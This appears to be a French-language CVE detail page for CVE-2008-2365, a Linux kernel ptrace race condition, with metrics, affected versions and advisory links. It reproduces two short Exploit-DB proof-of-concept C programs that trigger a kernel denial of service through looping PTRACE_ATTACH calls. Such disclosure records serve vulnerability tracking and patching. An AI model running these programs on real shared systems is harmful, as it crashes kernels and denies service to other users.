CVE-2008-2365 : Détail

CVE-2008-2365

1.31%V4
Local
2008-06-30
19h00 +00:00
2017-09-28
10h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Race condition in the ptrace and utrace support in the Linux kernel 2.6.9 through 2.6.25, as used in Red Hat Enterprise Linux (RHEL) 4, allows local users to cause a denial of service (oops) via a long series of PTRACE_ATTACH ptrace calls to another user's process that trigger a conflict between utrace_detach and report_quiescent, related to "late ptrace_may_attach() check" and "race around &dead_engine_ops setting," a different vulnerability than CVE-2007-0771 and CVE-2008-1514. NOTE: this issue might only affect kernel versions before 2.6.16.x.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.7 AV:L/AC:M/Au:N/C:N/I:N/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 31965

Date de publication : 2008-06-24 22h00 +00:00
Auteur : Alexei Dobryanov
EDB Vérifié : Yes

/* source: https://www.securityfocus.com/bid/29945/info The Linux kernel is prone to a local denial-of-service vulnerability caused by a race condition. Attackers can exploit this issue to cause the kernel to become unresponsive, denying service to legitimate users. */ #include <stdlib.h> #include <sys/ptrace.h> int main(int argc, char *argv[]) { pid_t pid = atoi(argv[1]); while (1) ptrace(PTRACE_ATTACH, pid, NULL, NULL); return 0; }
Exploit Database EDB-ID : 31966

Date de publication : 2008-06-24 22h00 +00:00
Auteur : Alexei Dobryanov
EDB Vérifié : Yes

/* source: https://www.securityfocus.com/bid/29945/info The Linux kernel is prone to a local denial-of-service vulnerability caused by a race condition. Attackers can exploit this issue to cause the kernel to become unresponsive, denying service to legitimate users. */ /* This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software. Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely. */ #ifdef __ia64__ #define ia64_fpreg ia64_fpreg_DISABLE #define pt_all_user_regs pt_all_user_regs_DISABLE #endif /* __ia64__ */ #include <sys/ptrace.h> #ifdef __ia64__ #undef ia64_fpreg #undef pt_all_user_regs #endif /* __ia64__ */ #include <linux/ptrace.h> #include <sys/types.h> #include <sys/user.h> #if defined __i386__ || defined __x86_64__ #include <sys/debugreg.h> #endif #include <stdio.h> #include <unistd.h> #include <pthread.h> #include <signal.h> #include <stdlib.h> #include <string.h> /* WARNING: The real testing count is probably unbound. */ #define DEFAULT_TESTTIME 10 /* seconds */ static pid_t pid; static void cleanup (void) { if (pid != 0) kill (pid, SIGKILL); } static void handler_fail (int signo) { cleanup (); signal (signo, SIG_DFL); raise (signo); } static void *thread_func(void *argv0_pointer) { execl("/proc/self/exe", argv0_pointer, "child", NULL); abort (); /* NOTREACHED */ } int main(int argc, const char *argv[]) { char *testtime = getenv ("TESTTIME"); time_t testend = time (NULL) + (testtime != NULL ? atoi (testtime) : DEFAULT_TESTTIME); unsigned long loops; pthread_t thread; atexit (cleanup); signal (SIGABRT, handler_fail); signal (SIGINT, handler_fail); if ((argc != 2 || strcmp (argv[1], "child") != 0) && (pid = fork())) { loops = 0; do { ptrace(PTRACE_ATTACH, pid, NULL, 0); ptrace(PTRACE_DETACH, pid, NULL, 0); loops++; } while (time (NULL) < testend); return 0; } if (pthread_create(&thread, NULL, thread_func, (void *) argv[0])) perror("pthread_create"); while (1) pause(); /* NOTREACHED */ abort (); }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version 2.6.9

Linux>>Linux_kernel >> Version 2.6.10

Linux>>Linux_kernel >> Version 2.6.10

Linux>>Linux_kernel >> Version 2.6.11

Linux>>Linux_kernel >> Version 2.6.11

Linux>>Linux_kernel >> Version 2.6.11

Linux>>Linux_kernel >> Version 2.6.11

Linux>>Linux_kernel >> Version 2.6.11.4

Linux>>Linux_kernel >> Version 2.6.11.5

Linux>>Linux_kernel >> Version 2.6.11.6

Linux>>Linux_kernel >> Version 2.6.11.7

Linux>>Linux_kernel >> Version 2.6.11.8

Linux>>Linux_kernel >> Version 2.6.11.11

Linux>>Linux_kernel >> Version 2.6.11.12

Linux>>Linux_kernel >> Version 2.6.12

Linux>>Linux_kernel >> Version 2.6.12

Linux>>Linux_kernel >> Version 2.6.12

Linux>>Linux_kernel >> Version 2.6.12

Linux>>Linux_kernel >> Version 2.6.12.1

Linux>>Linux_kernel >> Version 2.6.12.2

Linux>>Linux_kernel >> Version 2.6.12.3

Linux>>Linux_kernel >> Version 2.6.12.4

Linux>>Linux_kernel >> Version 2.6.12.5

Linux>>Linux_kernel >> Version 2.6.12.6

Linux>>Linux_kernel >> Version 2.6.12.12

Linux>>Linux_kernel >> Version 2.6.12.22

Linux>>Linux_kernel >> Version 2.6.13

Linux>>Linux_kernel >> Version 2.6.13

Linux>>Linux_kernel >> Version 2.6.13

Linux>>Linux_kernel >> Version 2.6.13

Linux>>Linux_kernel >> Version 2.6.13

Linux>>Linux_kernel >> Version 2.6.13.1

Linux>>Linux_kernel >> Version 2.6.13.2

Linux>>Linux_kernel >> Version 2.6.13.3

Linux>>Linux_kernel >> Version 2.6.13.4

Linux>>Linux_kernel >> Version 2.6.14

Linux>>Linux_kernel >> Version 2.6.14

Linux>>Linux_kernel >> Version 2.6.14

Linux>>Linux_kernel >> Version 2.6.14

Linux>>Linux_kernel >> Version 2.6.14

Linux>>Linux_kernel >> Version 2.6.14.1

Linux>>Linux_kernel >> Version 2.6.14.2

Linux>>Linux_kernel >> Version 2.6.14.3

Linux>>Linux_kernel >> Version 2.6.14.4

Linux>>Linux_kernel >> Version 2.6.14.5

Linux>>Linux_kernel >> Version 2.6.15

Linux>>Linux_kernel >> Version 2.6.15

Linux>>Linux_kernel >> Version 2.6.15

Linux>>Linux_kernel >> Version 2.6.15

Linux>>Linux_kernel >> Version 2.6.15.1

Linux>>Linux_kernel >> Version 2.6.15.2

Linux>>Linux_kernel >> Version 2.6.15.3

Linux>>Linux_kernel >> Version 2.6.15.4

Linux>>Linux_kernel >> Version 2.6.15.11

Linux>>Linux_kernel >> Version 2.6.16

Linux>>Linux_kernel >> Version 2.6.16

Linux>>Linux_kernel >> Version 2.6.16.1

Linux>>Linux_kernel >> Version 2.6.16.7

Linux>>Linux_kernel >> Version 2.6.16.9

Linux>>Linux_kernel >> Version 2.6.16.11

Linux>>Linux_kernel >> Version 2.6.16.12

Linux>>Linux_kernel >> Version 2.6.16.13

Linux>>Linux_kernel >> Version 2.6.16.19

Linux>>Linux_kernel >> Version 2.6.16.23

Linux>>Linux_kernel >> Version 2.6.16.27

Linux>>Linux_kernel >> Version 2.6.17

Linux>>Linux_kernel >> Version 2.6.17

Linux>>Linux_kernel >> Version 2.6.17.1

Linux>>Linux_kernel >> Version 2.6.17.2

Linux>>Linux_kernel >> Version 2.6.17.3

Linux>>Linux_kernel >> Version 2.6.17.5

Linux>>Linux_kernel >> Version 2.6.17.6

Linux>>Linux_kernel >> Version 2.6.17.7

Linux>>Linux_kernel >> Version 2.6.17.8

Linux>>Linux_kernel >> Version 2.6.17.10

Linux>>Linux_kernel >> Version 2.6.17.11

Linux>>Linux_kernel >> Version 2.6.17.12

Linux>>Linux_kernel >> Version 2.6.17.13

Linux>>Linux_kernel >> Version 2.6.17.14

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18.1

Linux>>Linux_kernel >> Version 2.6.18.3

Linux>>Linux_kernel >> Version 2.6.18.4

Linux>>Linux_kernel >> Version 2.6.19

Linux>>Linux_kernel >> Version 2.6.19

Linux>>Linux_kernel >> Version 2.6.19

Linux>>Linux_kernel >> Version 2.6.19

Linux>>Linux_kernel >> Version 2.6.19

Linux>>Linux_kernel >> Version 2.6.19.1

Linux>>Linux_kernel >> Version 2.6.19.2

Linux>>Linux_kernel >> Version 2.6.20

Linux>>Linux_kernel >> Version 2.6.20.1

Linux>>Linux_kernel >> Version 2.6.20.2

Linux>>Linux_kernel >> Version 2.6.20.3

Linux>>Linux_kernel >> Version 2.6.20.4

Linux>>Linux_kernel >> Version 2.6.20.5

Linux>>Linux_kernel >> Version 2.6.20.8

Linux>>Linux_kernel >> Version 2.6.20.9

Linux>>Linux_kernel >> Version 2.6.20.11

Linux>>Linux_kernel >> Version 2.6.20.13

Linux>>Linux_kernel >> Version 2.6.20.15

Linux>>Linux_kernel >> Version 2.6.21

Linux>>Linux_kernel >> Version 2.6.21

Linux>>Linux_kernel >> Version 2.6.21

Linux>>Linux_kernel >> Version 2.6.21

Linux>>Linux_kernel >> Version 2.6.21

Linux>>Linux_kernel >> Version 2.6.21.1

Linux>>Linux_kernel >> Version 2.6.21.2

Linux>>Linux_kernel >> Version 2.6.21.4

Linux>>Linux_kernel >> Version 2.6.21.6

Linux>>Linux_kernel >> Version 2.6.21.7

Linux>>Linux_kernel >> Version 2.6.22

Linux>>Linux_kernel >> Version 2.6.22.1

Linux>>Linux_kernel >> Version 2.6.22.3

Linux>>Linux_kernel >> Version 2.6.22.4

Linux>>Linux_kernel >> Version 2.6.22.5

Linux>>Linux_kernel >> Version 2.6.22.6

Linux>>Linux_kernel >> Version 2.6.22.7

Linux>>Linux_kernel >> Version 2.6.22.8

Linux>>Linux_kernel >> Version 2.6.22.11

Linux>>Linux_kernel >> Version 2.6.22.12

Linux>>Linux_kernel >> Version 2.6.22.13

Linux>>Linux_kernel >> Version 2.6.22.14

Linux>>Linux_kernel >> Version 2.6.22.15

Linux>>Linux_kernel >> Version 2.6.22.16

Linux>>Linux_kernel >> Version 2.6.22.17

Linux>>Linux_kernel >> Version 2.6.23

Linux>>Linux_kernel >> Version 2.6.23

Linux>>Linux_kernel >> Version 2.6.23.1

Linux>>Linux_kernel >> Version 2.6.23.2

Linux>>Linux_kernel >> Version 2.6.23.3

Linux>>Linux_kernel >> Version 2.6.23.4

Linux>>Linux_kernel >> Version 2.6.23.5

Linux>>Linux_kernel >> Version 2.6.23.6

Linux>>Linux_kernel >> Version 2.6.23.7

Linux>>Linux_kernel >> Version 2.6.23.9

Linux>>Linux_kernel >> Version 2.6.23.10

Linux>>Linux_kernel >> Version 2.6.23.14

Linux>>Linux_kernel >> Version 2.6.23_rc1

    Linux>>Linux_kernel >> Version 2.6.24

    Linux>>Linux_kernel >> Version 2.6.24

    Linux>>Linux_kernel >> Version 2.6.24

    Linux>>Linux_kernel >> Version 2.6.24.1

    Linux>>Linux_kernel >> Version 2.6.24.2

    Linux>>Linux_kernel >> Version 2.6.24.6

    Linux>>Linux_kernel >> Version 2.6.24_rc4

      Linux>>Linux_kernel >> Version 2.6.24_rc5

        Linux>>Linux_kernel >> Version 2.6.25

        Linux>>Linux_kernel >> Version 2.6.25.1

        Linux>>Linux_kernel >> Version 2.6.25.2

        Linux>>Linux_kernel >> Version 2.6.25.3

        Linux>>Linux_kernel >> Version 2.6.25.4

        Linux>>Linux_kernel >> Version 2.6.25.5

        Redhat>>Enterprise_linux >> Version 4.0

          Redhat>>Enterprise_linux >> Version 4.0

            Redhat>>Enterprise_linux >> Version 4.0

              Redhat>>Enterprise_linux_desktop >> Version 4.0

              Références

              http://www.securitytracker.com/id?1020362
              Tags : vdb-entry, x_refsource_SECTRACK
              http://www.securityfocus.com/bid/29945
              Tags : vdb-entry, x_refsource_BID
              http://www.openwall.com/lists/oss-security/2008/07/14/1
              Tags : mailing-list, x_refsource_MLIST
              http://securityreason.com/securityalert/3965
              Tags : third-party-advisory, x_refsource_SREASON
              http://secunia.com/advisories/30850
              Tags : third-party-advisory, x_refsource_SECUNIA
              http://secunia.com/advisories/31107
              Tags : third-party-advisory, x_refsource_SECUNIA
              http://www.openwall.com/lists/oss-security/2008/06/26/1
              Tags : mailing-list, x_refsource_MLIST
              http://www.ubuntu.com/usn/usn-625-1
              Tags : vendor-advisory, x_refsource_UBUNTU
              http://rhn.redhat.com/errata/RHSA-2008-0508.html
              Tags : vendor-advisory, x_refsource_REDHAT
              http://marc.info/?l=linux-kernel&m=117863520707703&w=2
              Tags : mailing-list, x_refsource_MLIST